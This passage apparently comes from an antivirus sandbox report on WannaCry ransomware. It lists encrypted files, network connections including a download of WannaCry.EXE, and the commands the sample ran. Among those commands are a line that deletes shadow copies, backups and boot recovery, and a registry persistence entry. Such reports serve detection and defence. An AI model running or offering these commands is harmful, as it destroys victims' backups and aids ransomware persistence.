from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_27[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_27[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_28[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_28[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_29[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_29[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_2[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_2[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_3[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_3[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_4[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_4[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_5[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_5[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_6[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_6[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_7[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_7[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_8[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_8[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_9[1].txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\ac\appcache\dfgt9a84\1\c__windows_systemapps_microsoft.windows.search_cw5n1h2txyewy_cache_desktop_9[1].txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.0.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.0.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.0.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.0.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appsconversions.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appsconversions.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appsglobals.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appsglobals.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appssynonyms.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\appssynonyms.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingsconversions.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingsconversions.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingsglobals.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingsglobals.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingssynonyms.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\input_{64c6d362-453e-4f77-ac86-adaf4fc0bc55}\settingssynonyms.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.0.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.0.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.0.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.0.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678985908530147.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678985908530147.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678986116913057.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678986116913057.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678986733179726.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678986733179726.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678987880972005.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678987880972005.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678989939868207.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678989939868207.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678992605195845.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678992605195845.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678993617257337.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678993617257337.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678994176510543.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678994176510543.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678994514315348.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678994514315348.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678997188779717.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678997188779717.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678998364928099.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678998364928099.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678998646131207.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678998646131207.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678999296595607.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678999296595607.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678999588120541.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133678999588120541.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000033359704.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000033359704.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000600569277.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000600569277.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000729483910.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679000729483910.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679004887860863.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679004887860863.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679006410337295.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679006410337295.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679008721437407.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\appcache133679008721437407.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\settingscache.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\devicesearchcache\settingscache.txt.wncry
from %ALLUSERSPROFILE%\microsoft\appv\setup\officeintegrator.ps1.wncryt to %ALLUSERSPROFILE%\microsoft\appv\setup\officeintegrator.ps1.wncry
from %ALLUSERSPROFILE%\microsoft\windows nt\msfax\virtualinbox\en-us\welcomefax.tif.wncryt to %ALLUSERSPROFILE%\microsoft\windows nt\msfax\virtualinbox\en-us\welcomefax.tif.wncry
from %LOCALAPPDATA%\google\chrome\application\47.0.2526.106\installer\chrome.7z.wncryt to %LOCALAPPDATA%\google\chrome\application\47.0.2526.106\installer\chrome.7z.wncry
from %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\dtlskey.der.wncryt to %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\dtlskey.der.wncry
from %APPDATA%\microsoft\templates\normal.dotm.wncryt to %APPDATA%\microsoft\templates\normal.dotm.wncry
from %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js.wncryt to %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\prefs.js.wncry
from %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\user.js.wncryt to %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\user.js.wncry
from %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\user.js.wncryt to %APPDATA%\mozilla\firefox\profiles\mlxv8edx.default\user.js.wncry
from %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\prefs.js.wncryt to %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\prefs.js.wncry
from %ALLUSERSPROFILE%\microsoft\diagnosis\osver.txt.wncryt to %ALLUSERSPROFILE%\microsoft\diagnosis\osver.txt.wncry
from %ALLUSERSPROFILE%\microsoft\uev\scripts\registerinboxtemplates.ps1.wncryt to %ALLUSERSPROFILE%\microsoft\uev\scripts\registerinboxtemplates.ps1.wncry
from %LOCALAPPDATA%\google\chrome\user data\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\main.js.wncryt to %LOCALAPPDATA%\google\chrome\user data\default\extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\main.js.wncry
from %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\dtlscert.der.wncryt to %LOCALAPPDATA%\packages\microsoft.skypeapp_kzf8qxf38zg5c\localstate\dtlscert.der.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.1.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.1.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.2.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{57061e4e-1e16-4c61-b18c-11c132e74233}\0.2.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.1.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.1.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.2.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\apps_{e1d25c92-9e2f-468f-b31e-8ea94f6c0fac}\0.2.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.1.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.1.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.2.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{b8923a2c-9ca7-4024-b14f-30794afe5664}\0.2.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.1.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.1.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.2.filtertrie.intermediate.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.windows.search_cw5n1h2txyewy\localstate\constraintindex\settings_{c962daa5-3c13-4c53-b573-e2ac874a52a3}\0.2.filtertrie.intermediate.txt.wncry
from %LOCALAPPDATA%\packages\microsoft.xboxgameoverlay_8wekyb3d8bbwe\localstate\diagoutputdir\logfile_august_11_2024__6_41_11.txt.wncryt to %LOCALAPPDATA%\packages\microsoft.xboxgameoverlay_8wekyb3d8bbwe\localstate\diagoutputdir\logfile_august_11_2024__6_41_11.txt.wncry
from %APPDATA%\microsoft\templates\~$normal.dotm.wncryt to %APPDATA%\microsoft\templates\~$normal.dotm.wncry
from %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\pkcs11.txt.wncryt to %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\pkcs11.txt.wncry
from %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\sitesecurityservicestate.txt.wncryt to %APPDATA%\mozilla\firefox\profiles\dnyauhh1.default-release\sitesecurityservicestate.txt.wncry
from %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\alternateservices.txt.wncryt to %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\alternateservices.txt.wncry
from %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\pkcs11.txt.wncryt to %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\pkcs11.txt.wncry
from %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\securitypreloadstate.txt.wncryt to %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\securitypreloadstate.txt.wncry
from %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\sitesecurityservicestate.txt.wncryt to %APPDATA%\thunderbird\profiles\gbmwccb6.default-release\sitesecurityservicestate.txt.wncry
from C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\propsww.cab.wncryt to C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\propsww.cab.wncry
from C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\propsww2.cab.wncryt to C:\msocache\all users\{90160000-0011-0000-0000-0000000ff1ce}-c\propsww2.cab.wncry
from C:\recovery\windowsre\winre.wim.wncryt to C:\recovery\windowsre\winre.wim.wncry
from %APPDATA%\tor\state.tmp to %APPDATA%\tor\state

Modifies the following files

%HOMEPATH%\desktop\1189.jpg
%HOMEPATH%\desktop\3.jpg
%HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
%HOMEPATH%\desktop\508softwareandos.doc
%HOMEPATH%\desktop\hanni_umami_chapter.doc
%HOMEPATH%\desktop\issi2013_template_for_posters.docx
%APPDATA%\microsoft\windows\themes\transcodedwallpaper

Substitutes the following files

%TEMP%\13.wncryt
%TEMP%\14.wncryt
%TEMP%\15.wncryt
%TEMP%\16.wncryt
%TEMP%\17.wncryt
%TEMP%\18.wncryt
%TEMP%\19.wncryt
%TEMP%\20.wncryt
%TEMP%\21.wncryt
%TEMP%\22.wncryt
%TEMP%\23.wncryt
%TEMP%\24.wncryt
%TEMP%\25.wncryt
%TEMP%\26.wncryt
%TEMP%\27.wncryt
%TEMP%\28.wncryt
%TEMP%\29.wncryt
%TEMP%\30.wncryt
%TEMP%\31.wncryt
%TEMP%\32.wncryt
%TEMP%\33.wncryt
%TEMP%\34.wncryt
%TEMP%\35.wncryt
%TEMP%\36.wncryt
%TEMP%\37.wncryt
%TEMP%\38.wncryt
%TEMP%\39.wncryt
%TEMP%\40.wncryt
%TEMP%\41.wncryt
%TEMP%\42.wncryt
%TEMP%\43.wncryt
%TEMP%\44.wncryt
%TEMP%\45.wncryt
%TEMP%\46.wncryt
%TEMP%\47.wncryt
%TEMP%\48.wncryt
%TEMP%\49.wncryt
%TEMP%\50.wncryt
%TEMP%\51.wncryt
%TEMP%\52.wncryt
%TEMP%\53.wncryt
%TEMP%\54.wncryt
%TEMP%\55.wncryt
%TEMP%\56.wncryt
%TEMP%\57.wncryt
%TEMP%\58.wncryt
%TEMP%\59.wncryt
%TEMP%\60.wncryt
%TEMP%\61.wncryt
%TEMP%\62.wncryt
%TEMP%\63.wncryt
%TEMP%\64.wncryt
%TEMP%\65.wncryt
%TEMP%\66.wncryt
%TEMP%\67.wncryt
%TEMP%\68.wncryt
%TEMP%\69.wncryt
%TEMP%\70.wncryt
%TEMP%\71.wncryt
%TEMP%\72.wncryt
%TEMP%\73.wncryt
%TEMP%\74.wncryt
%TEMP%\75.wncryt
%TEMP%\76.wncryt
%TEMP%\77.wncryt
%TEMP%\78.wncryt
%TEMP%\79.wncryt
%TEMP%\80.wncryt
%TEMP%\81.wncryt
%TEMP%\82.wncryt
%TEMP%\83.wncryt
%TEMP%\84.wncryt
%TEMP%\85.wncryt
%TEMP%\86.wncryt
%TEMP%\87.wncryt
%TEMP%\88.wncryt
%TEMP%\89.wncryt
%TEMP%\90.wncryt
%TEMP%\91.wncryt
%TEMP%\92.wncryt
%TEMP%\93.wncryt
%TEMP%\94.wncryt
%TEMP%\95.wncryt
%TEMP%\96.wncryt
%TEMP%\97.wncryt
%TEMP%\98.wncryt
%TEMP%\99.wncryt
%TEMP%\100.wncryt
%TEMP%\101.wncryt
%APPDATA%\Microsoft\Windows\Themes\CachedFiles\CachedImage_1152_864_POS2.jpg

Modifies user data files (Trojan.Encoder).

Changes user data files extensions (Trojan.Encoder).

Network activity

Connects to

'12#.#5.84.149':8080
'localhost':9050
'localhost':49692
'19#.#99.64.217':443
'19#.#54.238.52':443
'18#.#6.250.141':9001
'16#.#72.194.53':9001
'37.##7.195.87':443
'19#.#3.244.244':443

TCP

HTTP GET requests

http://12#.##.84.149:8080/WannaCry.EXE via 12#.#5.84.149

Other

'19#.#99.64.217':443

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: 'Wana Decrypt0r 2.0'

Creates and executes the following

'<Current directory>\installer.exe'
'<Current directory>\taskdl.exe'
'<Current directory>\@wanadecryptor@.exe' co
'<Current directory>\@wanadecryptor@.exe' vs
'<Current directory>\taskdata\tor\taskhsvc.exe'
'<Current directory>\taskse.exe' <Current directory>\@WanaDecryptor@.exe
'<Current directory>\@wanadecryptor@.exe'

Executes the following

'<SYSTEM32>\cmd.exe' /c "%TEMP%\BA8C.tmp\BA8D.tmp\BA9E.bat <Full path to file>"
'%WINDIR%\syswow64\attrib.exe' +h .
'%WINDIR%\syswow64\icacls.exe' . /grant Everyone:F /T /C /Q
'%WINDIR%\syswow64\cmd.exe' /c 257691758318620.bat
'%WINDIR%\syswow64\cscript.exe' //nologo m.vbs
'%WINDIR%\syswow64\attrib.exe' +h +s D:\$RECYCLE
'%WINDIR%\syswow64\cmd.exe' /c start /b @WanaDecryptor@.exe vs
'%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "tpnhyzbprkcsml819" /t REG_SZ /d "\"<Current directory>\tasksche.exe\"" /f
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "tpnhyzbprkcsml819" /t REG_SZ /d "\"<Current directory>\tasksche.exe\"" /f
'<SYSTEM32>\cmd.exe' /c "%TEMP%\BA8C.tmp\BA8D.tmp\BA9E.bat <Full path to file>"' (with hidden window)
'%WINDIR%\syswow64\attrib.exe' +h .' (with hidden window)
'%WINDIR%\syswow64\icacls.exe' . /grant Everyone:F /T /C /Q' (with hidden window)
'<Current directory>\taskdl.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c 257691758318620.bat' (with hidden window)
'%WINDIR%\syswow64\attrib.exe' +h +s D:\$RECYCLE' (with hidden window)
'<Current directory>\@wanadecryptor@.exe' co' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c start /b @WanaDecryptor@.exe vs' (with hidden window)
'<Current directory>\taskdata\tor\taskhsvc.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (with hidden window)
'<Current directory>\taskse.exe' <Current directory>\@WanaDecryptor@.exe' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "tpnhyzbprkcsml819" /t REG_SZ /d "\"<Current directory>\tasksche.exe\"" /f' (with hidden window)

Technologies

Begriffe

Schulung und Training

Mythen

Technical Information

Curing recommendations

Free trial